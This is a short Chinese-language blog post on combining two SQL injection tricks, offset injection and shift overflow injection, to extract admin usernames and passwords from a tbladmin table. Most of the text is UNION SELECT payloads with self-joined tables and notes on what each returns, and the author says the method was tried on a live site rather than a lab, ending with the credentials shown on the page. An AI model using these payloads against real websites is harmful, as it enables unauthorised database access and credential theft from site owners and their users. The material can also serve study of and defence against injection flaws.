人品爆发:偏移注入与移位溢注的联合使用
理解一个东西,然后去发散思维思考,总会有意想不到的收获。
前言:
这个灵感是我突然冒出来的,最近有一个只能出来表名的站,一直没的机会实战,正好练习一下偏移注入和移位溢注,顺便总结一下,结果偏移注入成功了,移位溢注倒是不行了,心有不甘(我人品有这么差么?),才有了下文。
偏移注入,移位溢注的正常的手法,原理在这里就不写了,描述下站点大概情况,方便大家了解,懂得自然懂。
1 | order by 12 - 正常 |
显示位
开始移位溢注:
当我使用移位溢注时,遇到了一点小麻烦:
2.1 先测试位置显示位6(失败):
1 | union select 1,2,3,4,5,tbladmin.*,10,11,12 from tbladmin |
1 | union select 1,2,3,4,5,tbladmin.*,10,11,12 from tbladmin where id=1 - 返回同上 |
2.2 然后测试显示位2和3(失败):
1 | union select 1,tbladmin.*,6,7,8,9,10,11,12 from tbladmin - 爆出了一个用户名 |
1 | union select 1,tbladmin.*,6,7,8,9,10,11,12 from tbladmin where id=1 - 返回内容同上 |
到了现在,可以发现问题出现了,移位溢注的招式已经用完了,但是显示位明显不够啊,还是爆不出来密码,这样看来,移位溢注还是不能完全和人品说拜拜
联合使用出奇效:
偏移注入的本质是:打乱显示顺序
移位溢注的本质是:占用多处显位
都是为了有一定概率让账号密码出现在显示位上,那么联合起来会怎么样呢?下面语句不做分析,还是懂的人自然懂
1 | union select 1,2,3,4,a.*,b.*, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) |
1 | union select 1,2,3,4,a.*, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 显示结果同上 |
1 | union select 1,2,a.*,3,4, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 发生变化 |
1 | union select 1,a.*,2,3,4, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 继续变化 |
1 | union select a.*,1,2,3,4, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 同时显示 |
完结
最后可以看到,账号密码一起显示在了网页上,通过二者的联合使用,爆出账号密码的几率想必会增加不少。
参考文章: